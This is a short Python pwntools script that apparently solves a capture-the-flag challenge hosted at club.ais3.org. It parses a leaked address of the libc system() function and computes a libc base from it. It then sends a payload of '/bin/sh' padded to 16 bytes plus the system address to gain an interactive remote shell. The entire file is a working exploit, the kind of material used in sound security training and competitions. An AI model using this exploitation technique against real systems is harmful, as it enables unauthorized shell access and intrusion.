#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

#r = process('./chal')
r = remote('club.ais3.org', 5001)

r.recvuntil('<3\n')
r.recvuntil('system(): ')

system = int(r.recvuntil('\n')[:-1],16)
libc_base = system - 324832

#padding = 'a'*16 + p64(system)
padding = '/bin/sh'.ljust(16,'\x00') + p64(system)
raw_input('#')
r.sendline(padding)


r.interactive()
